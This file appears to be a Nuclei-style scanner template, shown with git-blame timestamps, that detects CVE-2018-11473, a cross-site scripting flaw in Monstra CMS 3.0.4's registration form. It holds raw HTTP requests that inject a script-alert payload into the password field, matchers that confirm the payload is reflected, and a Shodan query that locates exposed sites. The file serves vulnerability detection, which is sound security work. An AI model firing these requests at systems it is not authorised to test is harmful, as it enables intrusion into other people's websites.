2023-01-09 05:47:56 +00:00
|
|
|
id: CVE-2018-11473
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Monstra CMS V3.0.4 - Cross-Site Scripting
|
|
|
|
author: ritikchaddha
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Monstra CMS 3.0.4 has XSS in the registration Form (i.e., the login parameter to users/registration).
|
|
|
|
reference:
|
|
|
|
- https://github.com/monstra-cms/monstra/issues/446
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-11473
|
|
|
|
classification:
|
|
|
|
cve-id: CVE-2018-11473
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-01-10 09:42:05 +00:00
|
|
|
shodan-query: http.favicon.hash:419828698
|
2023-01-09 05:47:56 +00:00
|
|
|
tags: cve,cve2018,xss,mostra,mostracms,cms
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /users/registration HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /users/registration HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test®ister=Register
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "><script>alert(document.domain)</script>"
|
|
|
|
- "Monstra"
|
|
|
|
condition: and
|
|
|
|
case-insensitive: true
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: csrf
|
|
|
|
part: body
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- 'id="csrf" name="csrf" value="(.*)">'
|
|
|
|
internal: true
|